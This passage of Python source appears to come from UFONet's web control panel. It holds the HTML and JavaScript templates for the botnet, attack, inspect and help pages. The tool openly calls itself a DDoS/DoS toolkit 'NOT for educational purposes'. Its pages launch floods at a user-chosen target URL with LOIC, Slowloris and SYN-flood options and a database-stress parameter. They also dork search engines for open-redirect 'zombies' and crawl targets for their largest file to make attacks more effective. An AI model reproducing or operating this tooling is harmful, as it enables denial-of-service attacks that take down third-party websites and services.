  1485. <hr>
  1486. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a toolkit designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.<br /><br />
  1487. <div id="tt">REMEMBER -> This code is NOT for educational purposes!!</div><br />
  1488. <script type="text/javascript">
  1489. startTyping(text, 80, "tt");
  1490. </script><hr><br />
  1491. <button title="Start to fly with your UFONet mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  1492. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  1493. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1494. }
  1495. </script>
  1496. <script>function Missions() {
  1497. var win_requests = window.open("missions","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1498. }
  1499. </script>
  1500. <script>function Stats() {
  1501. var win_requests = window.open("stats","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1502. }
  1503. </script>
  1504. <script>function Board() {
  1505. var win_requests = window.open("board","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1506. }
  1507. </script>
  1508. </head>
  1509. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1510. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1511. <center>
  1512. <table cellpadding="38" cellspacing="38">
  1513. <tr>
  1514. <td>
  1515. <div class="ringMenu">
  1516. <ul>
  1517. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  1518. <li class="top"><a href="botnet">Botnet</a></li>
  1519. <li class="right"><a href="inspect">Inspect</a></li>
  1520. <li class="bottom"><a href="attack">Attack</a></li>
  1521. <li class="left"><a href="help">Help</a></li>
  1522. </ul>
  1523. </div>
  1524. </td>
  1525. <td>
  1526. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  1527. <tr>
  1528. <td>
  1529. <pre>Welcome to <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">#UFONet</a> [C&C/DarkNet] ;-)
  1530. ----------------------------------
  1531. """ + self.options.version + """
  1532. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  1533. | <a href='javascript:runCommandX("cmd_check_tool")'>Auto-update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Source</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> |
  1534. -----------------------------------
  1535. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  1536. - Your ranking is: <b>""" + str(self.ranking) + """</b>
  1537. """+str(self.current_tasks)+"""</td>
  1538. <td>
  1539. <table>
  1540. <tr>
  1541. <td><img src="/images/aliens/alien1.png" onclick="News()"></td>
  1542. <td><img src="/images/aliens/alien2.png" onclick="Missions()"></td>
  1543. </tr>
  1544. <tr>
  1545. <td><img src="/images/aliens/alien5.png" onclick="Stats()"></td>
  1546. <td><img src="/images/aliens/alien4.png" onclick="Board()"></td>
  1547. </tr>
  1548. </table>
  1549. </td>
  1550. </tr>
  1551. </table>
  1552. </td>
  1553. </tr>
  1554. </table>
  1555. <div id="cmdOut"></div>
  1556. """ + self.pages["/footer"]
  1557. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  1558. function Requests() {
  1559. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1560. }
  1561. function Maps() {
  1562. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  1563. win_map.resizeTo(screen.width,screen.height);
  1564. }
  1565. function Start(){
  1566. dork=document.getElementById("dork").value
  1567. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  1568. if (document.getElementById("autosearch").checked){
  1569. document.getElementById("autosearch").value = "on";
  1570. } else {
  1571. document.getElementById("autosearch").value = "off";
  1572. }
  1573. autosearch = document.getElementById("autosearch").value
  1574. if (document.getElementById("dork_list").checked){
  1575. document.getElementById("dork_list").value = "on";
  1576. } else {
  1577. document.getElementById("dork_list").value = "off";
  1578. }
  1579. dork_list = document.getElementById("dork_list").value
  1580. if(dork == "" && dork_list == "off" && autosearch == "off") {
  1581. window.alert("You need to enter a source for dorking...");
  1582. return
  1583. }else{
  1584. if (document.getElementById("all_engines").checked){
  1585. document.getElementById("all_engines").value = "on";
  1586. } else {
  1587. document.getElementById("all_engines").value = "off";
  1588. }
  1589. all_engines = document.getElementById("all_engines").value
  1590. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)
  1591. runCommandX("cmd_search",params)
  1592. }
  1593. }
  1594. function showHide()
  1595. {
  1596. if(document.getElementById("dork_list").checked)
  1597. {
  1598. document.getElementById("dork_pattern").style.display = "none";
  1599. document.getElementById("autosearch_pattern").style.display = "none";
  1600. }
  1601. else {
  1602. document.getElementById("dork_pattern").style.display = "";
  1603. document.getElementById("autosearch_pattern").style.display = "";
  1604. }
  1605. }
  1606. function showHideEngines()
  1607. {
  1608. if(document.getElementById("all_engines").checked)
  1609. {
  1610. document.getElementById("s_engine").style.display = "none";
  1611. }
  1612. else {
  1613. document.getElementById("s_engine").style.display = "";
  1614. }
  1615. }
  1616. function HideAll()
  1617. {
  1618. if(document.getElementById("autosearch").checked)
  1619. {
  1620. document.getElementById("s_engine").style.display = "none";
  1621. document.getElementById("dork_pattern").style.display = "none";
  1622. document.getElementById("list_pattern").style.display = "none";
  1623. document.getElementById("allengines_pattern").style.display = "none";
  1624. document.getElementById("all_engines").checked = false;
  1625. document.getElementById("dork_list").checked = false;
  1626. document.getElementById("dork").value = "";
  1627. }
  1628. else {
  1629. document.getElementById("s_engine").style.display = "";
  1630. document.getElementById("dork_pattern").style.display = "";
  1631. document.getElementById("list_pattern").style.display = "";
  1632. document.getElementById("allengines_pattern").style.display = "";
  1633. }
  1634. }
  1635. </script>
  1636. <script>function Blackholes() {
  1637. var win_requests = window.open("blackholes","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1638. }
  1639. </script>
  1640. </head>
  1641. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1642. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1643. <center>
  1644. <table cellpadding="38" cellspacing="38">
  1645. <tr>
  1646. <td>
  1647. <div class="ringMenu">
  1648. <ul>
  1649. <li class="main"><a href="botnet">Botnet</a></li>
  1650. <li class="top"><a href="help">Help</a></li>
  1651. <li class="right"><a href="inspect">Inspect</a></li>
  1652. <li class="bottom"><a href="attack">Attack</a></li>
  1653. <li class="left"><a href="gui">RETURN</a></li>
  1654. </ul>
  1655. </div>
  1656. </td>
  1657. <td>
  1658. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1659. <tr><td>
  1660. <pre>
  1661. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  1662. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  1663. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  1664. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  1665. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  1666. * Search using this search engine: <select id="engines_list">
  1667. <!-- <option value="duck" selected>duck</option> [09/08/2016: deprecated! -> duck has removed 'inurl' operator]-->
  1668. <option value="bing">bing</option>
  1669. <option value="yahoo">yahoo</option>
  1670. <!-- <option value="google">google (no TOR!)</option>-->
  1671. <!-- <option value="yandex">yandex</option>-->
  1672. </select></div><div id="allengines_pattern" style="display:block;">
  1673. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div></form>
  1674. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  1675. <br><hr>
  1676. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  1677. <td>
  1678. <table cellpadding="5" cellspacing="2">
  1679. <tr>
  1680. <td><img src="/images/aliens/alien3.png" onclick="Blackholes()"></td>
  1681. </tr>
  1682. <tr>
  1683. <table><tr>
  1684. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  1685. </tr>
  1686. <tr><td><hr></td></tr>
  1687. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  1688. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  1689. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  1690. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  1691. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  1692. </table>
  1693. </table>
  1694. </td>
  1695. </tr></table>
  1696. </td>
  1697. </tr></table>
  1698. <hr>
  1699. <div id="cmdOut"></div>
  1700. """ + self.pages["/footer"]
  1701. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  1702. function Requests() {
  1703. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1704. }
  1705. function Grid() {
  1706. var win_requests = window.open("grid","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1707. }
  1708. function Wargames() {
  1709. var win_requests = window.open("wargames","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1710. }
  1711. function ShowPanel() {
  1712. if (document.getElementById("extra_attack").checked){
  1713. document.getElementById("extra_panel").style.display = "block";
  1714. document.getElementById("loic").value = "";
  1715. document.getElementById("loris").value = "";
  1716. document.getElementById("ufosyn").value = "";
  1717. document.getElementById("dbstress").value = "";
  1718. } else {
  1719. document.getElementById("extra_panel").style.display = "none";
  1720. document.getElementById("loic").value = "";
  1721. document.getElementById("loris").value = "";
  1722. document.getElementById("ufosyn").value = "";
  1723. document.getElementById("dbstress").value = "";
  1724. }
  1725. }
  1726. function Maps() {
  1727. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  1728. win_map.resizeTo(screen.width,screen.height);
  1729. }
  1730. function Start(){
  1731. target=document.getElementById("target").value
  1732. String.prototype.startsWith = function(prefix){
  1733. return this.indexOf(prefix) === 0;
  1734. }
  1735. if(target.startsWith("http")){
  1736. path=document.getElementById("path").value
  1737. rounds=document.getElementById("rounds").value
  1738. dbstress=document.getElementById("dbstress").value
  1739. loic=document.getElementById("loic").value
  1740. loris=document.getElementById("loris").value
  1741. ufosyn=document.getElementById("ufosyn").value
  1742. if(ufosyn){ // root required!
  1743. window.alert("You need 'root' access to use UFOSYN, so your shell is waiting for you to enter a password. Check it!");
  1744. }
  1745. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)
  1746. if (document.getElementById("visual_attack").checked){
  1747. document.getElementById("visual_attack").value = "on";
  1748. } else {
  1749. document.getElementById("visual_attack").value = "off";
  1750. }
  1751. if(document.getElementById("visual_attack").value=="on"){
  1752. Maps()
  1753. }
  1754. }else{
  1755. window.alert("You need to enter a valid url: http(s)://target.com");
  1756. return
  1757. }
  1758. runCommandX("cmd_attack",params)
  1759. }
  1760. </script>
  1761. </head>
  1762. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1763. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1764. <center>
  1765. <table cellpadding="38" cellspacing="38">
  1766. <tr>
  1767. <td>
  1768. <div class="ringMenu">
  1769. <ul>
  1770. <li class="main"><a href="attack">Attack</a></li>
  1771. <li class="top"><a href="help">Help</a></li>
  1772. <li class="right"><a href="botnet">Botnet</a></li>
  1773. <li class="bottom"><a href="inspect">Inspect</a></li>
  1774. <li class="left"><a href="gui">RETURN</a></li>
  1775. </ul>
  1776. </div>
  1777. </td>
  1778. <td>
  1779. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1780. <tr><td>
  1781. <pre>
  1782. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1783. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  1784. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  1785. <hr>
  1786. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  1787. <hr><div id="extra_panel" style="display:none;">
  1788. * Number of <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a> requests: <input type="text" name="loic" id="loic" size="4" placeholder="100">
  1789. * Number of <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a> requests: <input type="text" name="loris" id="loris" size="4" placeholder="101">
  1790. * Number of <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a> requests: <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100">
  1791. <hr>
  1792. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  1793. <hr></div>
  1794. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  1795. </td><td>
  1796. <table><tr><td><img src="/images/aliens/alien6.png" onclick="Grid()"></td></tr><tr><td><img src="/images/aliens/alien8.png" onclick="Wargames()"></td></tr></table>
  1797. </td></tr></table>
  1798. </td></tr></table>
  1799. <hr>
  1800. <div id="cmdOut"></div>
  1801. """ + self.pages["/footer"]
  1802. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  1803. function show(one) {
  1804. var nb = document.getElementsByTagName("div");
  1805. for(var x=0; x<nb.length; x++) {
  1806. name = nb[x].getAttribute("class");
  1807. if (name == 'nb') {
  1808. if (nb[x].id == one) {
  1809. nb[x].style.display = 'block';
  1810. }
  1811. else {
  1812. nb[x].style.display = 'none';
  1813. }
  1814. }
  1815. }
  1816. }
  1817. </script>
  1818. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  1819. </head>
  1820. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1821. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1822. <center>
  1823. <table cellpadding="38" cellspacing="38">
  1824. <tr>
  1825. <td>
  1826. <div class="ringMenu">
  1827. <ul>
  1828. <li class="main"><a href="help">Help</a></li>
  1829. <li class="top"><a href="botnet">Botnet</a></li>
  1830. <li class="right"><a href="inspect">Inspect</a></li>
  1831. <li class="bottom"><a href="attack">Attack</a></li>
  1832. <li class="left"><a href="gui">RETURN</a></li>
  1833. </ul>
  1834. </div>
  1835. </td>
  1836. <td>
  1837. <table cellpadding="24" cellspacing="25" border="1">
  1838. <tr><td><pre>
  1839. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  1840. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
  1841. and that allows to combine both in a single offensive.
  1842. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  1843. - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  1844. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  1845. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  1846. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  1847. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  1848. This feature can be used <u>ONLY</u> if you have cloned UFONet.
  1849. - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
  1850. - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
  1851. </div><div>
  1852. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
  1853. If you have problems with UFONet, try to solve them following next links:
  1854. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  1855. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
  1856. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can I help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  1857. - Coding; you can try to develop more features
  1858. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  1859. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  1860. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  1861. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  1862. </div></td> </tr></table> </td></tr></table>
  1863. """ + self.pages["/footer"]
  1864. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  1865. function Requests() {
  1866. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1867. }
  1868. function Abduction() {
  1869. var win_requests = window.open("abduction","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1870. }
  1871. function Start(){
  1872. target=document.getElementById("target").value
  1873. String.prototype.startsWith = function(prefix){
  1874. return this.indexOf(prefix) === 0;
  1875. }
  1876. if(target.startsWith("http")){
  1877. params="target="+escape(target)
  1878. }else{
  1879. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  1880. return
  1881. }
  1882. runCommandX("cmd_inspect",params)
  1883. }
  1884. </script>
  1885. </head>
  1886. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1887. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1888. <center>
  1889. <table cellpadding="38" cellspacing="38">
  1890. <tr>
  1891. <td>
  1892. <div class="ringMenu">
  1893. <ul>
  1894. <li class="main"><a href="inspect">Inspect</a></li>
  1895. <li class="top"><a href="help">Help</a></li>
  1896. <li class="right"><a href="botnet">Botnet</a></li>
  1897. <li class="bottom"><a href="attack">Attack</a></li>
  1898. <li class="left"><a href="gui">RETURN</a></li>
  1899. </ul>
  1900. </div>
  1901. </td>
  1902. <td>
  1903. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1904. <tr>
  1905. <td>
  1906. <pre>
  1907. This feature will provide you the biggest file on target.
  1908. You can use this before to attack to be more effective.
  1909. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  1910. <hr>
  1911. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  1912. <hr>
  1913. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  1914. </td><td><img src="/images/aliens/alien7.png" onclick="Abduction()"></td>
  1915. </tr></table>
  1916. </td>
  1917. </tr>
  1918. </table>
  1919. <hr>
  1920. <div id="cmdOut"></div>
  1921. """ + self.pages["/footer"]
  1922. self.pages["/lib.js"] = """function loadXMLDoc() {
  1923. var xmlhttp;
  1924. if (window.XMLHttpRequest) {
  1925. // code for IE7+, Firefox, Chrome, Opera, Safari
  1926. xmlhttp = new XMLHttpRequest();
  1927. } else {
  1928. // code for IE6, IE5
  1929. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  1930. }
  1931. xmlhttp.onreadystatechange = function() {
  1932. if (xmlhttp.readyState == 4 ) {
  1933. if(xmlhttp.status == 200){
  1934. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  1935. setTimeout("loadXMLDoc()", 3000);
  1936. }
  1937. }
  1938. }
  1939. xmlhttp.send();
  1940. }
  1941. function runCommandX(cmd,params) {
  1942. var xmlhttp;
  1943. if (window.XMLHttpRequest) {
  1944. // code for IE7+, Firefox, Chrome, Opera, Safari
  1945. xmlhttp = new XMLHttpRequest();
  1946. } else {
  1947. // code for IE6, IE5
  1948. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  1949. }
  1950. xmlhttp.onreadystatechange = function() {
  1951. if (xmlhttp.readyState == 4 ) {
  1952. if(xmlhttp.status == 200){
  1953. if(cmd.indexOf("?")!=-1){
  1954. s=cmd.split("?")
  1955. cmd=s[0]
  1956. params=s[1]
  1957. }
  1958. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  1959. //document.getElementById("cmdOut").scrollIntoView();
  1960. newcmd=cmd
  1961. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
  1962. return;
  1963. } else {
  1964. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  1965. //do not refresh if certain text on response is found
  1966. if(newcmd.match(/update/) &&
  1967. (
  1968. xmlhttp.responseText.match(/Botnet updated/) ||
  1969. xmlhttp.responseText.match(/Biggest File/) ||
  1970. xmlhttp.responseText.match(/Abduction finished/) ||
  1971. xmlhttp.responseText.match(/Not any zombie active/) ||
  1972. xmlhttp.responseText.match(/Your target looks OFFLINE/) ||
  1973. xmlhttp.responseText.match(/Unable to connect to target/) ||
  1974. xmlhttp.responseText.match(/Something wrong/) ||
  1975. xmlhttp.responseText.match(/Target url not valid/) ||
  1976. xmlhttp.responseText.match(/Attack completed/) ||
  1977. xmlhttp.responseText.match(/You are updated/) ||
  1978. xmlhttp.responseText.match(/For HELP use:/) ||
  1979. xmlhttp.responseText.match(/Not any .git repository found/) ||
  1980. xmlhttp.responseText.match(/End of /) ||
  1981. xmlhttp.responseText.match(/Exiting /) ||
  1982. xmlhttp.responseText.match(/Bye/)
  1983. )
  1984. ) return;
  1985. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  1986. return;}
  1987. }
  1988. }
  1989. }
  1990. if(typeof params != "undefined") cmd=cmd+"?"+params
  1991. xmlhttp.open("GET", cmd, true);
  1992. xmlhttp.send();
  1993. }
  1994. """
  1995. self.pages["/requests"] = self.html_requests()
  1996. self.pages["/board_profile"] = self.html_board_profile()
  1997. self.pages["/grid_profile"] = self.html_grid_profile()
  1998. def buildGetParams(self, request):
  1999. params = {}
  2000. path = re.findall("^GET ([^\s]+)", request)
  2001. if path:
  2002. path = path[0]
  2003. start = path.find("?")
  2004. if start != -1:
  2005. if path[start+1:start+7] == "zombie":
  2006. params['zombie']=path[start+8:]
  2007. return params
  2008. if path[start+1:start+7] == "target":
  2009. params['target']=path[start+8:]
  2010. return params
  2011. for param in path[start+1:].split("&"):
  2012. f = param.split("=")
  2013. if len(f) == 2:
  2014. var = f[0]
  2015. value = f[1]
  2016. value = value.replace("+", " ")
  2017. value = urllib.unquote(value)
  2018. params[var] = value
  2019. return params
  2020. def save_profile(self,pGet):
  2021. # set values for profile configuration from html form to json file
  2022. if "profile_token" in pGet.keys():
  2023. profile_token = pGet["profile_token"]
  2024. else:
  2025. profile_token = self.profile_token
  2026. if "profile_icon" in pGet.keys():
  2027. profile_icon = pGet["profile_icon"]
  2028. else:
  2029. profile_icon = self.profile_icon
  2030. if "profile_nick" in pGet.keys():
  2031. profile_nick = pGet["profile_nick"]
  2032. else:
  2033. profile_nick = self.profile_nick
  2034. # set new values on boardcfg json file
  2035. with open(self.mothership_boardcfg_file, "w") as f:
  2036. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  2037. def save_grid(self,pGet):
  2038. # set values for profile configuration from html form to json file
  2039. if "grid_token" in pGet.keys():
  2040. grid_token = pGet["grid_token"]
  2041. else:
  2042. grid_token = self.grid_token
  2043. if "grid_contact" in pGet.keys():
  2044. grid_contact = pGet["grid_contact"]
